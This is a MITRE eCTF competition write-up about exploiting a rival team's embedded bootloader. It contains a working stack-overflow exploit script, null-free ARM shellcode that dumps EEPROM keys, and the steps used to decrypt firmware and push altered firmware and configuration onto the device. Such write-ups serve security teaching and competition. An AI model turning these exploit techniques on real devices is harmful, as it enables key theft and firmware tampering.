---
# System prepended metadata

title: 'MITRE eCTF: The Ohio State University Attacking University at Buffalo'

---

# MITRE eCTF: The Ohio State University Attacking University at Buffalo

## Arbitrary code execution

The bug is in `handle_update()` in `bootloader.c`:
```c=
// Receive release message
rel_msg_size = uart_readline(HOST_UART, rel_msg) + 1; // Include terminator
```

`uart_readline()` will continue to read data until a null byte or newline is encountered, allowing us to write unlimited data to the stack.

Two other issues that aid in exploitation are:
- Memory protections are disabled
- The firmware release message is not authenticated nor encrypted

To gain arbitrary code execution, we can:
- Send shellcode in the release message, which gets written to flash
- Overwrite the return address on the stack and jump to our shellcode in flash

> We initially tried jumping to the shellcode in SRAM, but since SRAM adresses are of the form `0x2000????`, which contains a null byte, we were not able to do so.

Out script is shown below:

```python=
import subprocess
import pwn

with open("firmware/fw_v0.prot", "rb") as f:
    fw = f.read()

shellcode = bytes.fromhex("684681ea010182ea020202f2ff3202f2014247f694630ff2060e0ef1030e9f4644f244424fea02724cf2010121f0ff0142ea01010846694682ea020202f2ff3202f2014247f2e4239f46")

payload = shellcode
payload += pwn.cyclic((1024 + 24) - len(payload))

shellcode_addr = 0x2B408  # Address of the release message in flash
payload += pwn.p32(shellcode_addr + 1)

orig_release_message = b"Debug firmware version 0"
fw = fw.replace(orig_release_message, payload)

with open("firmware/fw_v0_exploit.prot", "wb") as f:
    f.write(fw)

# Modify the `fw-update` command to read 2048 bytes of data afterwards, which
# is the device's EEPROM

cmd = """python3 tools/run_saffire.py fw-update \
--sysname saffire-phys \
--fw-root firmware/ \
--uart-sock 1339 \
--protected-fw-file fw_v0_exploit.prot
"""
subprocess.run(cmd, shell=True)
```

## The shellcode disassembled and explained

The goal of our shellcode is to read EEPROM data and send it back to us over uart.

```
0x0000000000000000:  68 46          mov   r0, sp
0x0000000000000002:  81 EA 01 01    eor.w r1, r1, r1
0x0000000000000006:  82 EA 02 02    eor.w r2, r2, r2
0x000000000000000a:  02 F2 FF 32    addw  r2, r2, #0x3ff
0x000000000000000e:  02 F2 01 42    addw  r2, r2, #0x401
0x0000000000000012:  47 F6 94 63    movw  r3, #0x7e94
0x0000000000000016:  0F F2 06 0E    addw  lr, pc, #6
0x000000000000001a:  0E F1 03 0E    add.w lr, lr, #3
0x000000000000001e:  9F 46          mov   pc, r3
0x0000000000000020:  44 F2 44 42    movw  r2, #0x4444
0x0000000000000024:  4F EA 02 72    lsl.w r2, r2, #0x1c
0x0000000000000028:  4C F2 01 01    movw  r1, #0xc001
0x000000000000002c:  21 F0 FF 01    bic   r1, r1, #0xff
0x0000000000000030:  42 EA 01 01    orr.w r1, r2, r1
0x0000000000000034:  08 46          mov   r0, r1
0x0000000000000036:  69 46          mov   r1, sp
0x0000000000000038:  82 EA 02 02    eor.w r2, r2, r2
0x000000000000003c:  02 F2 FF 32    addw  r2, r2, #0x3ff
0x0000000000000040:  02 F2 01 42    addw  r2, r2, #0x401
0x0000000000000044:  47 F2 E4 23    movw  r3, #0x72e4
0x0000000000000048:  9F 46          mov   pc, r3
```

This shellcode makes a call to `EEPromRead` (at 0x7e94), followed by a call to `uart_write` (at 0x72e4). It was difficult to remove all of the null bytes from the shellcode. For example, we could not use regular indirect branch wth `lr` instructions (`blr x3`) since they contain a null byte. Instead, we manually set `lr` and then do the jump using `mov pc, r3`. We also have to obfuscate constants that would otherwise have a null byte in them (e.g. 0x800). The sequence is equivalent to:

```
EEPromRead(<stack address>, 0, 0x800)
uart_write(0x4000c000, <stack address>, 0x800)
```

## Getting the flags

After dumping EEPROM from the device, getting the flags was relatively straightforward.
- IP Extraction: Use the device's symmetric key to decrypt the firmware.
- Flight Extraction: Use the device's symmetric key to decrypt the configuration.
- Firmware Rollback: We reversed the decrypted firmware and found that it XOR's the fake flag with a string in EEPROM, giving us the real flag.
- Data Extraction: This flag was dumped from EEPROM.
- Flight Abort: We changed one of the airpoint names in the decrypted `cfg0.bin`, protected it, and loaded it onto the device. This caused the flight to abort.
- Aircraft Crash: We took the firmware we created for the second reverse engineering, protected it, and loaded it on to the device. This caused the aircraft to crash.